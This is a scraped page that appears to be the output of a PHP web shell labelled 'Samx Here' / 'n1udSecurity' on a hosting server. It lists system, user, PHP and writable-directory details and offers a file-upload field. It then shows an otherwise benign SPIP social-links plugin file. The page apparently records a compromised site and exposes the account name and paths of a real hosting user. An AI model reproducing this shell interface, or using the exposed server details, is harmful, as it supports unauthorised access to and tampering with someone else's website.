Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/genie/plugins/auto/sociaux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/genie/plugins/auto/sociaux/sociaux_pipelines.php
<?php
/**
 * Plugin sociaux
 * Licence GPL3
 *
 */

if (!defined("_ECRIRE_INC_VERSION")) {
	return;
}

/**
 * Inserer une CSS pour le contenu embed
 *
 * @param $head
 *
 * @return string
 */
function sociaux_insert_head_css($head) {
	include_spip('inc/config');
	if (lire_config('sociaux/css', 0)) {
		$head .= '<link rel="stylesheet" type="text/css" href="' . timestamp(find_in_path('lib/socicon/style.css')) . '" />' . "\n";
		$head .= '<link rel="stylesheet" type="text/css" href="' . timestamp(find_in_path('css/sociaux.css')) . '" />' . "\n";
	}

	return $head;
}

function sociaux_sociaux_lister($flux) {
	/**
	 * On reprend les éléments initiaux de la v1 du plugin :
	 * facebook, twitter, instagram, blogger, pinterest, linkedin, youtube, rss, email, tripadvisor, vimeo, flickr
	 *
	 */
	if (isset($flux['data'])) {
		$flux['data']['mail'] = 'E-mail';
		$flux['data']['rss'] = 'RSS';
		$flux['data']['facebook'] = 'Facebook';
		$flux['data']['twitter'] = 'Twitter';
		$flux['data']['mastodon'] = 'Mastodon';
		$flux['data']['instagram'] = 'Instagram';
		$flux['data']['blogger'] = 'Blogger';
		$flux['data']['pinterest'] = 'Pinterest';
		$flux['data']['linkedin'] = 'Linkedin';
		$flux['data']['youtube'] = 'Youtube';
		$flux['data']['tripadvisor'] = 'TripAdvisor';
		$flux['data']['vimeo'] = 'Vimeo';
		$flux['data']['flickr'] = 'Flickr';
		$flux['data']['viber'] = 'Viber';
		$flux['data']['whatsapp'] = 'Whatsapp';
		$flux['data']['skype'] = 'Skype';
		$flux['data']['bandcamp'] = 'Bandcamp';
		$flux['data']['gitlab'] = 'Gitlab';
		$flux['data']['github'] = 'Github';
		$flux['data']['behance'] = 'Behance';
	}

	return $flux;
}

/**
 * Ajoute les scripts JS et CSS de saisies dans l'espace privé
 *
 * @param string $flux
 * @return string
 **/
function sociaux_header_prive($flux){
	$css = timestamp(find_in_path('lib/socicon/style.css'));
	$flux .= "\n<link rel='stylesheet' href='$css' type='text/css' media='all' />\n";
	return $flux;
}


SAMX